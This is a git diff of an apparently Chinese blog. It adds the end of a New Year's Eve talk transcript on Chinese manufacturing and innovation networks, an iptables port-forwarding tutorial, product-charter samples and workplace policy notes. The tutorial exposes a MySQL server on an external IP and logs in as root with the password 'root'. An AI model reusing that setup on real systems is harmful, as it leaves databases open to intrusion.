+发生了什么呢？晚上8点才提出需求，9点东莞团队开始3D打印，12点打印完成，深夜1点交给跨越速运发货，早上7点抵达这座北方城市，早上8点就用上了。 + +中国制造手里的再一张牌是成本控制能力。 + +你上淘宝查一下就会发现，只用花3-4块钱，就能买到一把5米长的钢卷尺。去除各环节利润之后，施展老师猜，它的生产成本不会超过2块钱。 + +但是施展老师猜错了，这是我们搜到的最便宜的钢卷尺，你猜多少钱？只要0.79元。这是一种骇人听闻的成本控制能力。 + +那这背后又是啥呢？ + +今年我们做了得到阅读器之后才知道，这其实是因为分工能力。 + +大家都知道，我们今年和中国最领先的电子阅读器公司文石，合作定制了一款得到阅读器。就是这个。 + +就这么一台阅读器，干干净净的，比手机可简单多了。结果，项目干下来，这个阅读器你们猜，背后是多少家中国公司协作的结果？直接供应商就有110家。 + +不说别的，就说这个外壳上的金属按钮，那我真是大开眼界：铝合金开料是一个厂，表面喷砂、氧化处理是一个厂，半成品切边是另一个厂，硅胶零件的开模和组装又是一个厂，最后安装到阅读器上，这活才算干完。 + +一年前，当我坐在北京的办公室里，说要做个阅读器的时候，我知道这件事难度很大，要求很高，但是我从来没想到，它是几百家工厂合作才能达成的结果。 + +来，让我们向伟大的中国制造致个敬，打开得到App，买它。 + +所以你看，就是因为有这些底牌，尽管美国的政客们总是劝科技创新企业离开中国，但是身体很诚实，他们倾向于跟全球最大的供应链和市场在一起。如果他们搬离了中国，不仅仅会丢掉供应链，还会丢掉市场。 + +这是站在美国这一头算的账，回到中国这一头，咱们可不能这么想。 + +亨廷顿说过一句话：“预测能否实现，取决于人们如何作出反应。” + +事实上制造能力这个事，在世界很多国家都发展得很快，比如越南和印度，包括美国自己的先进制造，也进展极快。美国人真要下决心，把一些公司的制造环节搬离中国，假以时日，也不是不可能。 + +关键就在这四个字里，假以时日。这意味着甭管美国有多大的决心，只要还有一个时间窗口，我辈中人就大有可为。 + +有一句话，我们也是贴在办公室墙上：竞争意识损害竞争力。 + +什么意思?所谓竞争，就是你按照竞争对手划定的思维模式，来决定自己的行动方式。那可不就一开始落了下风么？ + +所以，现在我们把刚才打的那些比方，什么上游下游、研发制造、头脑身体、中国美国统统忘掉。 + +真实世界是什么样？它是一张包含了美国中国在内的，由全世界研发者、制造者、供应链共同组成的、遍及全球的创新网络。这里面没有输赢问题，只有贡献大小问题。谁贡献大，谁就更重要。谁在这个网络的位置更重要，谁就更有话语权。 + +有实际工作经验的人都知道，就像公司里新来了一个小伙子，甭管一开始干的是什么，但是只要踏实肯干，人缘不错，而且凡事都能想在前头，时间一长，公司肯定会把越来越多的事情交给他。久而久之，他就会成为一个超级节点。你说，他怎么可能没有话语权？这不就是中国人一直相信的，英雄不问出处的故事么？ + +好，回到科技创新这件事。不管你起手的姿势什么样，处在哪个分工环节，关键在于，你此时此刻，能不能占据创新生态里的关键节点，而且，这个关键节点，早就不集中在哪个特定环节了。任何一个环节，只要你做得足够好，你就有话语权。 + +说中国的事，好多人说有特殊性，有历史机遇期，王煜全老师说，你拿美国公司分析，也是这样。 + +辉瑞制药公司，是全世界最大的制药公司之一。以前我们都以为它研发能力很强，总是推出新药，但实际上，辉瑞的很多新药都不是它研发的，是它买来的。它的核心竞争力，不是研发，而是强势的销售推广。辉瑞每年雇佣大量医药代表，每天拜访医生，推广药品。 + +要知道，在制药领域，任何一款新药上市，销售额总得爬到10亿美金这个台阶才算成功，否则就不值得推向市场。你看，在这个链条里，小型的医药公司，虽然能创新，但是很难有机会做成。对它们来说，被辉瑞收购，其实是最好的结果。 + +你看，过去我们都觉得，医药领域拼的是研发能力，这没错。但是，其他地方有没有机会呢？辉瑞用事实告诉我们，有。只要你在整个生态中，变得足够重要，不管你在哪个节点，你都可能有话语权。 + +说到这，结论呼之欲出。到底应该如何行动？只有一个姿势。这不就是今年那句流行语吗？生死看淡，不服就干。但是在全球创新这个网络里，咱们改一下这句话吧：位置看淡，不服就干。 + +这个“干”字，不是要谁干，而是说我们自己好好干。强化优势，夯实节点，让自己在这个创新网络里，变得越来越重要。 + +比如，我们20年的合作伙伴vivo，在最开始的时候他们有什么呢？也就是工厂和市场吧，庞大的中国市场和3亿用户，在这个基础上，能堆出什么呢？我们来看一个人。 + +这是vivo的一名普通的网络技术人员，他叫黄杰斌。这张照片记录的是他在从深圳去往长沙的高铁上，做网络适应性的路测，也就是看看手机信号在高铁上怎么样。他和他的团队，一年要坐超过20万公里的高铁，可以绕地球5圈。多少个像黄杰斌这样的工程师，跑下来的测试数据，形成了vivo在5G领域的强大体感。 + +结果就是，在5G全球技术标准的制订中，vivo虽然是后入场者，但因为他们离市场近，掌握的数据多，成为更懂消费者的玩家。 + +vivo的5G技术专家秦飞告诉我，基于接近3亿的活跃用户基本盘，通过在真实场景中模拟和复现那些复杂场景下的问题，vivo主导开发的5G双卡特性、超级节电等技术方案，成为了5G全球标准特性。针对中国消费者的那些独有痛点所推出的关键技术，反过头来也深刻地影响了全球手机行业。 + +你想，手机这么复杂的产品，要卖到全世界，应对各种各样的场景，形形色色的用户，测试数据能从哪来？当然是中国这样超大规模的复杂市场。中国公司干了这样的苦活、累活，当然就有了护城河，当然就能反过来对这个创新网络有所贡献，一步一步地提升自己的重要性和话语权。到今天，中国手机品牌已经占据了全球手机市场超过50%的份额。 + +因为这样的努力，而获得更高话语权，类似的事情，在微观层面上，正在不停地发生。 + +再给大家说个故事，请看这位科学家：戴维·白瑞迪，美国杜克大学的电子与计算机工程学教授。 + +他发明了一个超级相机，叫做螳螂（Mantis），有19个镜头，10亿像素，隔着一个足球场，也能清楚地识别人脸。 + +你看，这个发明看起来应该很有前景，但是，白瑞迪教授马上就遇到了困难：在美国，民间的制造商根本没有相关的生产线，只有军方有可能有。去德国跟日本呢？虽然技术很先进，但是只接大批量的订单。 + +可是，对于一个创新产品来说，它必须一步步迭代，随时调整设计，直到可以推向市场为止。而这个过程，只有中国供应链能够陪着他完成。中国供应链不仅能做到一千件就可以为你开生产线，而且还可以做到以“天”为单位进行方案调整。 + +你看，这不是一个简单的买卖关系，而是要手拉手，开始的一段漫长的创新协作。 + +所以，白瑞迪教授带着他的专利，来到中国，开了公司。请注意，这家公司的总部，就在中国，就在上海。 + +这是一个挺有标志性的事件。对于跨国公司来说，业务可以全世界开展，但总部设在哪里，还是一件很慎重的事。 + +今天白瑞迪教授也来到了我们跨年演讲的现场。来，我们祝福他在中国一切顺利。 + +这不是白瑞迪教授一个人的偏好。 + +今年，全世界瞩目的电动车公司特斯拉在上海的工厂，已经投产了。这是上海有史以来最大的外资制造业项目。 + +从1月破土动工到生产线具备投产条件，前后只用了10个月，工厂每年可以生产50万辆电动车。这个速度背后，就是那张万事俱备、灵活组合的中国制造业网络。 + +特斯拉，也祝你在中国一切顺利。 + +好，故事讲完。你发现一件事没有？以前提起科技创新这四个字，我们脑子里总会浮现出一组组的竞争关系。比如，谁更先进？谁快谁慢？谁赢谁输？谁说了算？但是，讨论这些问题，意义其实不大。 + +因为一旦回到现实，你就会发现，真实世界里，看重的不是这些。一切都是微观层面的选择。一个创业家来了还是走了，一个企业选择在哪里建厂，一份订单给了谁，都取决于一次一次的、具体的努力。哪里价值高，哪里就有吸引力，这些人才、技术就愿意往哪里跑，哪里的重要性和发言权，就会稳步提升。 + +事情还不止于此，不是说你只能在这张旧的网络里埋头苦干、求个生存就挺好，别忘了，还有技术变革所带来的弯道超车的机会。 + +你只要占有自己独特的生态位，一旦新技术爆发的时机到来，你就有机会发展出一张全新的网络。 + +听起来很抽象，其实我们中国人每个人心里早就有一个最佳案例。 + +那就是深圳的崛起。深圳当年起步的位置，那可是一点都不光鲜，甚至很低、很苦、很累。你看这个历史过程：先是干苦活累活，三来一补。慢慢地积累起来了一些能力，抓住互联网电子信息和智能制造这些技术变革的机遇，就此发力，逐渐崛起。 + +深圳原来只是一个三来一补的节点，但是现在已经成为一个全球创新网络的中心节点，每万人拥有发明专利数89件，全球领先。 + +你看，深圳不仅没有停留在低端产业的层面，而且，随着技术变革的进程，这座城市也在不断向前演化，不仅成为了先行示范区，还在周围崛起了一个在全世界范围内影响都很大的城市群：粤港澳大湾区。 + +再回到我们刚才说的那个担心，中国会因为被掐住创新的上游而窒息吗？ + +王煜全老师拿出的这份《创新生态报告》正面回应了这个问题： + +我们和任何国家之间，都已经不是谁上游谁下游、谁输谁赢的关系。我辈中人，不应该在这个层面上纠缠，我们应该意识到，我们正迎来一个历史级的机会，就是有机会共建一张全新的全球创新网络。我辈中人只有一个姿势，干就是了。 + +正如一位诗人默温说的：希望不是未来的东西，它是看见此刻的方式。 + +第七部分：中国制造的优势会消失吗 + +自小会做应用题的中国人，是有两个担心的：一怕进水管关了，二怕排水管开了。这两件事要是发生了，再大的浴缸也会空了。 + +今年，很多人就是这么理解中国经济的。上有美国人卡脖子，下有制造业转移，中国经济可不就危险了吗？中国的制造业到底会不会转移出去？ + +今年，我们就委托施展老师做了这么一份《中国制造报告》。他在越南考察了3个工业园、3个研究机构、2个国际组织、13家企业，访谈了30多个企业家，形成了这份报告，只为弄清一件事，中国制造业是不是在转移出去。 + +感谢知识合作伙伴，专注高档装修的简一大理石瓷砖。你看，我们又吸引了一个行业高端品牌成为我们的知识合作伙伴。简一委托我们，给大家传个话：中国制造没有那么简单，它是一种从制造到服务，全程打通的能力。 + +巧了，我们这段刚好在说中国制造业会不会转移，简一大理石瓷砖就能回答这个问题。 + +我问他们，你们能把制造基地，从中国搬到越南去吗？答案是，低端瓷砖也许可以，我们是高档大理石瓷砖，这个就难了。 + +比如说，要把瓷砖做得和天然大理石的效果一样，还得保持瓷砖好维护、好清洁的特点，这不是搬走生产线就能做到的事情，它需要设备、设计师、工程师、高熟练度的技术工人的紧密配合。 + +再比如说，简一还有一种“密缝铺贴”技术，通过把铺贴留缝控制在0.5mm内，使得平整度达到了国际标准的10倍，这种工艺水平也是全球领先的。要实现这一点，甚至还需要工厂流程和装修流程的无缝对接和持续优化，你说这个怎么搬。 + +这已经是我们的常识了。 + +再看一眼我们的中国制造吧，规模惊人。别的不用说，一年培养的工程师，就相当于美国、印度、欧洲、日本的总和。我们的完备性也惊人。工信部部长苗圩说，现在中国有41个工业大类，207个工业中类，666个工业小类。我们是世界上唯一一个拥有联合国产业分类中全部工业门类的国家。这是人类历史上，头一次有国家做到。 + +与此同时不要忘记，我们前面已经说过了，我们即将成为全球最大的消费市场，当最大市场和最全工业门类，在同一片土地上同时发生的时候，一定会催生最快的创新和制造业的变革。 + +今天在谈中国制造的能力，不应该只看到它历史上的优势，更应该看到在新条件下，正在长出来的那些能力。比如柔性制造、智慧制造。 + +但是，话又说回来，整天喊中国厉害，有什么意义呢？厉害了就能躺下来睡觉，等着一个美好的未来吗？龟兔赛跑的故事，我们都知道。 + +就拿越南来说，虽然它现在的经济规模，只有中国苏州的90%。但是，2018年越南GDP的增速达到了7%，比我们快啊。 + +这样的新闻我们听得太多了。比如2019年，三星关闭了在中国的最后一间手机工厂，把它搬到了越南。还有统计说，在中国雇一个工人的成本，在越南能雇3个人，听起来完胜中国。类似的报道还有很多。 + +我们都知道过去40年，中国人是怎么过来的。越南那可是个有1亿人口的大国啊。放大一看，整个东盟人口有6亿。再加上印度呢？13亿。这是将近20亿的人口总盘子。如果他们都像过去40年的中国人那样勤劳肯干，会是什么结果？所以，对制造业流失的担心不是杞人忧天。 + +但是施展老师这次带回了一个让人意想不到的答案。他既没有说转移了，也没说，不会转移。而是说，中国制造正在溢出。 + +你看，这个词有意思。它是想说，中国制造不是在以一种线性的方式转移，你有了，我就没有；而是在以一种网络的方式，向外生长、扩展、延伸，你有了，是对我的增强。 + +中国制造业向越南的溢出，其实是把越南接入到整个中国制造业的网络中。这话可不是施展教授说的，而是这个人。 + +谁呢？你可以把他当成，越南何帆。他叫阮德成，是《越南年度经济报告》的主编。施展教授刚到越南，就见到了他。 + +见面之后，施展教授就问，你们最近几年发展得这么好，有什么相关的产业政策吗？ + +对方给出的回答很反常，他说，我们其实不需要产业政策，因为我们有广州。 + +广州当然是个泛指，他的真实意思其实是，中国东南沿海的制造业体系。越南对这个体系的依赖太深了。 + +什么原材料都要从这边买。即使越南有自己的产业政策，一旦咱们这边有什么变化，它依托的外部环境也就彻底变了，原来的产业政策也就作废了。这就是为什么说，越南不需要产业政策。 + +越南对广州的依赖有多深？就拿做家具来说。越南当地虽然有大量的家具厂商。但是，要知道，做一个家具，需要上百道工序。越南工厂做的，只是比较靠后的拼装环节，前期的原料，几乎都要从中国进口。比如做沙发，90%的皮革来自江苏，90%的夹板来自山东，80%的海绵来自广东。 + +你可能有点不相信，沙发又不是什么高科技，至于连这点东西都依赖中国吗？当然有技术的原因。技术好说，可以学。 + +但有一件事越南学不了，那就是规模。因为没有规模，就发展不出如此精致的分工网络。但是中国有现成的网络啊。越南与其自己做，还不如用中国的网络。这么一来，这套网络，反而因为越南的加入，而进一步扩张了。 + +你看，带着网络的视角来看，这种溢出无处不在。施展老师给我讲了一个人的故事： + +他叫任泽忠，重庆丰都人，早年间离开老家，去东莞打工，入了家具这一行。 + +你看，这是中国人熟悉的老故事吧？1997年，家具这个产业网络扩展到了越南，任泽忠也被公司派到了越南。2000年，任泽忠自己出来单干，还是做家具。这个网络又借助任泽忠，往前扩展了一点点。 + +然后这几年，他从老家，又招呼了一大批亲戚朋友，把他们都带到了越南。这群人各自撑起了一摊生意，在任泽忠的基础上继续扩展，形成了一个小有规模的家具产业网络。当然了，他现在还经常要回广东见见供应商们，和他们喝喝早茶，因为这个网络是中国整个家具制造网络的自然溢出。 + +20年的时间，中国制造这张网络，把任泽忠从重庆的丰都，网到了广东的东莞。随后，任泽忠和他的老乡们又把这张网络拱到了越南。 + +在20年前，任泽忠离开重庆老家的时候，他们村是镇里最穷的，如今已经是镇里的第一村。 + +施展教授告诉我，像任泽忠这样的，随着中国网络溢出到越南的人，能有几十万。他们在越南自称为：中国干部。 + +我们过去理解国与国之间的经济关系，都是“转移视角”，都在谈竞争、说输赢，就是资源有限，你多一点，我就少一点。但是施展老师给了我们一个新视角，你也可以把国与国之间的经济关系，看成是一个网络。 + +网络的特征是什么呢？接入网络的节点越多，这个网络的价值就越大。你就想，只有一个人有微信号，那微信什么用都没有，两个人有微信，这个软件就有点用了，现在微信号超过11亿了，你说这个网络是不是价值连城？ + +你发现没有，好像这话你半小时前刚听过。没错，王煜全老师说的。 + +两位老师在年初发起的课题完全不一样，但是在最后的结论居然殊途同归。他们都带回了一个关键词：网络。回到最初那个问题，中国的制造业在转移吗？ + +施展老师的答案是：什么你的我的？都是人类这张网络的。 + +美国在这张网络里，越南在这张网络里，中国也在这张网络里。在这张网里，谁活得好，不取决于谁抢得狠，而取决于谁贡献大。 + +过去，我们提起中国人在海外，想到的是什么呢？勤劳？肯吃苦？大规模的援助？投资？买资源？开工厂？ + +其实，在所有这些表象下面，我们回头一看，中国人正在展现一种空前强大且独有的能力。那就是：结网能力。 + +我们来看看，这些年，我们在国内干了什么，做成了什么？仅仅是更大的GDP么？更多的工厂么？不，我们变成了全世界网络中最强韧的那个部分。 + +先来看国内，2019年我们正在做什么： + +2019年，我们把硬化公路，通到了所有的行政村，记住这个村的名字吧，四川省凉山州布拖县乌依乡阿布洛哈村。这是全国最后一个通路的行政村。在修路的过程中，甚至动用了米-26直升机。阿布洛哈是个彝族语，意思是“人迹罕至”。 + +2019年，我们的高铁通车里程达到3.5万公里，占全世界的2/3以上。 + +2019年，中国这片土地上的4G基站数量占全球一半以上，未来的5G大概率也是这样。 + +2019年，中国的快递行业总共送出了600亿个包裹，超过了全世界其他所有地方的总和。 + +到2019年为止，全球10大港口，中国占了7个，其中排名第一的，就是此地，中国上海港。 + +再过一会儿，就是2020年了，中国的扶贫攻坚战，就要打完最后一仗了。什么是扶贫？过去我们老以为，是把米面油钱送下乡，让他们有吃有喝，但是从网络的角度看，扶贫其实是把我们的每一个同胞，都连入一个繁荣的网络。 + +再放眼全世界这张更大的网络来看看，就在这一年，我们在忙着干什么： + +2019年，中国仍然在全世界到处修建铁路和港口。 + +这一年同时在建设的铁路包括中老铁路、中泰铁路、雅万高铁、匈塞铁路； + +同时在建设的港口项目包括瓜达尔港 、汉班托塔港、比雷埃夫斯港、哈利法港。 + +2019年，中欧班列共开行超过了8000列，累计超过2万列。什么叫“中欧班列”？从中国到欧洲，货物只需要一次报关、一次查验，就全线放行。想象一下，这是一个多么庞大的协调工程。 + +我们玩命地在连接，而且我们把这张网结得很深： + +2019年，希腊的比雷埃夫斯港，已经成了地中海第一大港。但就在10年前，这个港口的吞吐量只有88万标准箱。中国人接手10年，吞吐量翻了6倍。这可不是花钱就能实现的事情，中国的公司把国内最优秀的管理和技术团队派到了这里。一个数字告诉大家他们管理水平的提升，比港的提货时间从4-6小时，可以缩短到10分钟。 + +因为这个节点被打通了，一个叫中欧陆海快线的通道就此成型，把从东亚到欧洲腹地的时间，缩短了至少一个星期。 + +2019年，我还看到一个非常有意思的项目，咱们国内的人了解的可能不多。但是这个项目，在一带一路国家中，正在产生深远的影响。这个项目叫鲁班工坊。 + +到目前为止，我们已经在泰国、英国、印度、印尼、巴基斯坦、柬埔寨、葡萄牙、吉布提、肯尼亚、南非和马里建成了11个鲁班工坊。简单来说，就是去开职业学校，从职高一直开到本科，让更多的当地人有机会成为中国编织的这张网络中的合格工作者。 + +你看，不仅是中国制造的硬件网络在溢出，人才网络、技能网络也在溢出。 + +所有人都希望连成一张更大的网。 + +你是一个美国硅谷的科学家，这张网欢迎你。你是一个越南的创业者，这张网也欢迎你。哪怕你是一个普通的非洲孩子，也可以以如此欢乐的方式，加入这张网，分享全球红利。 + +我们一直生存在一个人类合作的扩展秩序当中，一个不断扩张的网络当中。 + +我们都知道，网络是一个永恒的东西，从几十万年前智人走出非洲的那一刻起，它就在不断生长，从未逆转。 + +但是，网络也是一个残酷的东西，没有任何一张网可以让你一直躺在上面，坐享其成，它一直在演化。 + +好在，网络也是一个公道的东西，只要你在贡献、连接、扩展，它就一定会给你相称的奖励。 + +这个网络的扩展，从第一次全球化开始，已经持续了几百年，沿途不断有人加入。每一代人都是一面往前走，一面往回看，一面完成个人的奋斗使命，一面扩展全人类的协作网络。 + +1492年，是哥伦布这样的欧洲人，开启了大航海时代；到了21世纪初，属于我辈中人的大航海时代，正在拉开大幕。 + +距离2020年，只差几分钟了。几分钟过后，21世纪的第三个十年，就要开始了。 + +过去的三个半小时，我为大家发布的六份研究报告，它们的分量想必大家都已经感受到了。这是在2019年到2020年，这个跨年之夜，我们能想到呈现给你的，最好的东西。 + +现在，它们在得到App集结完毕，供你检阅，拿下它们。 + +时间的朋友们，让我们以这样的姿态，走进下一个十年。就像维特根斯坦所说的那样：怀抱希望、心生感激、深思熟虑。 + +第八部分：尾声 + +大家新年好。 + +来，一贯的传统，我们用NEX3 5G手机一起拍张合影。跨年演讲结束后，可以去我的微博上看这张照片。 + +好，最后这点时间，我想和大家聊个天，跟大家分享三件事。我确信，在2020年，每当想起这三件事，我都会挺开心的。 + +第一件，再过23天，就是除夕之夜。我们要做一件事，就是和深圳卫视，还有爱奇艺合作，一起举办一场知识春晚。 + +对，你没有听错，是春晚，是直播的。从大年三十下午两点半开始，一直直播到大年初一凌晨零点三十。 + +虽然它叫春晚，但是它没有一个明星，也没有歌舞、小品、相声，它就是一个个在真实世界中解决问题的人，我辈中人，来给你分享一个个解决问题的方法。 + +话题很接地气。聊的都是除夕夜你们家围坐一圈可能聊的话题，9个，一个小时聊一个。 + +比如，怎么玩得好？怎么变好看？怎么教好娃？怎么有前途？怎么更健康？怎么找对象？怎么更舒心？怎么受欢迎？怎么会挣钱？ + +你看，一共9个小时的直播，有50多位分享者。邀请他们的标准是一样的：是否应对过挑战？有没有独特的解决问题的方法？是不是真的能帮人解决问题？有没有真诚分享的意愿？ + +当然，他们还有一个共同的身份，那就是得到大学的老师和同学们。在此我也欢迎你加入得到大学。来年的知识春晚，没准就有你。 + +直到此刻，我把这台春晚宣布出来的时候，我还恍惚觉得，像做梦一样。看过去年跨年演讲的朋友可能还记得，我们去年还有一个小小的梦想，在春晚里植入个广告，做个最小级别的赞助商，还失败了。 + +但是，一年之后，我们居然就有机会参与办一台春晚。你看，十年前，“我要上春晚”还是一个不切实际的梦想的代名词。但是，今天，一个不会唱歌跳舞、说相声、演小品的人，也有机会通过别的途径，登上一个高光的舞台。 + +你看，向上的通道、连接的方式，不就是这样在一点点地打开吗？ + +我要跟你聊的第二件事，是我在书里看到的，听起来可能有点不严肃。 + +有一个词听说过吗？裸奔。是真裸奔。 + +在哈佛大学，每逢冬季期末考试的前夜，学生们都会举行一项奇怪的活动：集体裸奔。 + +你想，那可是寒冬腊月，北风怒号的时候。一些学生会在楼下集合，脱光衣服，围着学校，一边裸奔，一边尖叫。你可能觉得有点离经叛道。但其实，这是哈佛大学一项已经持续了200多年的传统。 + +这就要说到一个人了，美国作家，叫肖恩·埃科尔。他到哈佛大学念大学一年级的时候，就赶上了这件事。看到一群人裸奔，他当时就惊了。这是什么情况？震惊之余，他马上又意识到，我得来来。试问，人这一辈子，能有几次机会，在哈佛校园里裸奔，又不用承担任何责任呢？大概就这一次。 + +想到此处，他心念一动，马上回到宿舍，脱光衣服，准备加入到裸奔的队伍里。 + +但是，等他走到楼门口，才发现，自己犯了三个严重的错误。第一，裸奔不能脱鞋啊，这不是去洗澡啊。当时是冬天，水泥地太冷了，冻得双脚发麻，根本走不动，只好转身回宿舍拿鞋。 + +紧接着，发现了第二个问题。门钥匙在衣服里，衣服在屋里，但是门锁了，进不了屋。只好转身，硬着头皮上。 + +但是，紧接着发现了第三个问题。等他追到楼门口，只发现一溜儿远去的屁股。裸奔的大部队，已经跑远了。追吧，那就是一个人在裸奔，实在迈不出去脚。不追吧，屋内是肯定回不去的。这个左右为难的时刻，让他突然在寒风中开始思考人生。 + +为什么有的事你一个人不敢干，也干不了，但是在人群中，在大部队中，干了也就干了，从容又自在。和很多人在一起，你还是你，但你又比原来的你多了点什么。 + +这个段子我想了很久，人生不是在每个关头都明确地知道自己该做什么选择。那怎么办？跟上这个时代，跟上这群人。 + +再说第三件事。去年我看到了一段新闻，心情很激动。来，看这里。 + +你知道这是哪里吗？在中国的西北角，甘肃敦煌，它的名字叫哈拉齐，跟西湖差不多大，漂亮吧？但是你不知道的是，这个湖在此之前已经干枯了差不多300年。但是现在它复活了。 + +前两年，哈拉齐还只是偶尔有水。但到2019年，它已经有半年能碧波荡漾了。 + +这现象还不仅是哈拉齐，我们放眼整个敦煌周边，原本荒凉的戈壁都开始变绿了。 + +也不仅仅是敦煌，整个中国西北部都在变暖、变绿、变湿润。 + +新华社的记者专门去陕甘宁青几个省份的气象部门去采访，然后了解到，从1961年开始，西北气温升高和降水增多的趋势就开始了。这个进程已经持续了近60年，但是直到2019年，才被越来越多的人感受到。 + +这种变化背后的影响到底是好是坏，我们短期内没法下结论。 + +但是，我感受到了一种来自慢变量的震撼。想想看，我们平时不是这样感知世界的，那些一惊一乍的标题、那些人云亦云的情绪、那些当下发生的剧变，是我们感知世界的最常用的方式。这些方式会让我们忽略那些缓慢的、长期的变化，但这些变化才是真正影响我们这代人命运的。 + +我辈中人，不要忽视这些缓慢而巨大的变化。因为这些变化缓慢、持续而坚定，我们每一个普通人都有参与的机会。 + +我们对这个时代充满信心。 + +因为我辈中人正在参与、贡献、构建着这个时代。就像万维钢老师说的：以贡献感为指引，你是幸福的，也是自由的。 + +也像约翰·列侬说的：一个人的梦想只是梦想，一群人的梦想就能成真。 + +这就是“时间的朋友”跨年演讲倒数第16场。365天后，我们再见。 \ No newline at end of file diff --git a/_posts/2020-02-26-490-iptables.md b/_posts/2020-02-26-490-iptables.md new file mode 100644 index 0000000..d9336b6 --- /dev/null +++ b/_posts/2020-02-26-490-iptables.md @@ -0,0 +1,51 @@ +--- +layout: post +title: iptables端口转发 +pid: 490 +tags: [centos] +--- + +# 开启配置 iptables + +```shell +$ echo 1 >/proc/sys/net/ipv4/ip_forward +``` + +默认值0是禁止ip转发，修改为1即开启ip转发功能。 + +# 简单转发 + +```shell +#-- 把访问本机 8091 端口的请求转发到 8090端口 +$ iptables -t nat -A PREROUTING -p tcp --dport 8091 -j REDIRECT --to-ports 8090 +#-- 把访问本机 8093 端口的请求转发到 192.168.1.3 的 8090端口 +$ iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 8093 -j DNAT --to 192.168.1.3:8090 + +$ service iptables save +$ service iptables restart +``` + +# 配置转发mySql + +mySql:服务器 : 192.168.1.3:3306 +配置转发的机器：有mySql访问权限，外网IP(193.168.1.2),内网IP(192.168.1.2),可用端口(3307) + +```shell +$ echo 1 >/proc/sys/net/ipv4/ip_forward +$ iptables -t nat -A PREROUTING -p tcp --dport 3307 -j DNAT --to-destination 192.168.1.3:3306 +$ iptables -t nat -A POSTROUTING -d 192.168.1.3 -p tcp --dport 3306 -j SNAT --to 192.168.1.2 +$ service iptables save +$ service iptables restart +``` + +访问mySqls + +```shell +-- 外网连接mysql 也可通过 navicat 等工具链接 +mysql -h193.168.1.2 -uroot -proot -P 3307 +-- 其它没有mySql访问权限的机器 内网访问 +mysql -h192.168.1.2 -uroot -proot -P 3307 +``` + +# 参考 ++ [linux 端口转发:iptables](https://www.jianshu.com/p/c35e7637e09b) \ No newline at end of file diff --git a/_posts/2020-03-24-491-pic.md b/_posts/2020-03-24-491-pic.md new file mode 100644 index 0000000..9e12fcd --- /dev/null +++ b/_posts/2020-03-24-491-pic.md @@ -0,0 +1,83 @@ +--- +layout: post +title: Product Innovation Charter +pid: 491 +tags: [产品经理] +--- + +Contents of a PIC + +Background: Key ideas from the situation analysis; management dicta + +Focus: A clear technology dimension and a clear market dimension that match and have good potential. + +Goals/Objectives: What the project will accomplish. + +Guidelines: Rules, requirements, time/quality/cost, etc. + +# A Sample PIC + +This is a PIC for an intangible business product. + +Background/Focus: + +Smaller offices have bought new computer systems, pose unique service opportunity which we will address using + +(1) our system analysis skills and + +(2) our field service capabilities. + +Goals/Objectives: + +(1) To overcome all reasonable objections about service levels by this group, + +(2) increase net operating revenues from this service by $18 million per year. + +Guidelines: + +Create unique service approaches based on current field service resources; protect from quick competitive emulation; low development expenditures; minimum development time required. + +# Demo2 + +Product Innovation Charter + +Background: + +Stagnating drapes sales in the surgical-medical division. Sales in US market had limited growth and overseas markets were limited by high cost. + +Focus: + +The focus of the company is reducing infections from the skin through surgical drapes and surgical prepping. Creating a Competency in surgical drape technology in a cost containing environment. + +Goals/Objectives: + +The goal is come up with breakthrough product within the current business strategy that can revive the business unit. + +Guidelines: + +The new product should be within the existing business strategy of the unit. + + +# Demo3 + +Corning Glass Works develops pyroceramin in the 1950s and up front homework looks into market opportunities. After winnowing these down, a kitchenware team is given the following charter. + +Product innovation charter + +Background: + +Women are entering the workforce in greater numbers, and are very stressed for time at home. The advent of frozen foods and other conveniences are changing the way people prepare and serve food. There is an opportunity for an attractive vessel that can go from the freezer to the stove top to the dinner table. + +Focus: + +(a) Technology: Utilize the unique thermal properties of pyroceram. Use current glass product manufacturing technologies. + +(b) Markets: Home makers in specified income bracket. Must also appeal to large retailers that will be used as channels. Benefit segment is characterized by those who value practical convenience and afforda bility, without compromising table appearance. + +Goals and objectives: + +Cookware must be attractive and affordable. We intend to build a long-term market， so the sales objectives (specify) in early years will outweigh near term ROI on this launch. We should seek to launch, or be ready to follow up with, an entire line of cookware. + +Guidelines: + +Use current distribution channels. The cookware should fit seamlessly into the kitchen environment (freezer space, stovetop limitation, cleaning, service at the table). Expect to incur large advertising expenditures (specify) to build awa reness. diff --git a/_posts/2020-04-01-492-ot.md b/_posts/2020-04-01-492-ot.md new file mode 100644 index 0000000..d3ccbd7 --- /dev/null +++ b/_posts/2020-04-01-492-ot.md @@ -0,0 +1,30 @@ +--- +layout: post +title: 什么样的加班申请？应该被批准。 +pid: 492 +tags: [岗前培训] +--- + +我们不鼓励加班，我们希望每个人充分利用上班的8个小时，合理计划安排好8个小时。 + +# 支撑策略 + ++ 工时评估控制 ++ 日报进度跟进 ++ 冲刺进度跟进 ++ 项目发布跟进 + +# 加班场景（这些加班申请将会被批准） + ++ 产品上线（控制在晚上7点前） ++ 分享会（控制在晚上7点前） ++ 项目赶进度（控制在晚上10点前） ++ 核心人员日程限制（控制在晚上9点前） + +# 备注 + ++ 关于如何提升8小时的工作效率，我们另外讨论。 ++ 我们相信只有合理的休息时间，才会有高效的产出。 ++ 书籍推荐《别再用勤奋掩饰你的懒惰》 + + \ No newline at end of file diff --git a/_posts/2020-04-03-493-rpd.md b/_posts/2020-04-03-493-rpd.md new file mode 100644 index 0000000..b903847 --- /dev/null +++ b/_posts/2020-04-03-493-rpd.md @@ -0,0 +1,30 @@ +--- +layout: post +title: 研发任务进度快速推进的建议 +pid: 493 +tags: [岗前培训] +--- + +《研发任务进度快速推进的建议》 + +为了更好的保障产品交付的及时性，从研发角度，提供以下建议，供参考： + ++ 产品的成功交付离不开团队成员相互协作，相互推进，相互激励。 + ++ 需求调研阶段，技术层面应多考虑技术可行性，必要时进行技术尝试。 ++ 需求调研阶段，需求层面应多考虑业务流程的连续性，如需求不确定因素过多，则不应该进入研发阶段。 + ++ 研发评估阶段，需考虑接口输入参数、输出参数以及处理过程。 ++ 经验丰富的研发人员，能够深思熟虑，准确定义接口，从而减少接口参数更新频率。 + ++ 研发开始后，从尽早集成的角度考虑，后端应优先提供伪接口。（建议半天内） ++ 前端优先使用伪接口进行研发。 ++ 后端应及时更新接口，以适应前端研发和产品进度需要。 ++ 后端接口更新应及时通知前端人员，避免不必要的矛盾。 + ++ 产品交付是整体交付，只是前端或后端完成，不具备任何意义；时间充裕，应多与伙伴沟通，切实解决困难与疑惑；尽早集成测试，从而确保按时交付。 ++ 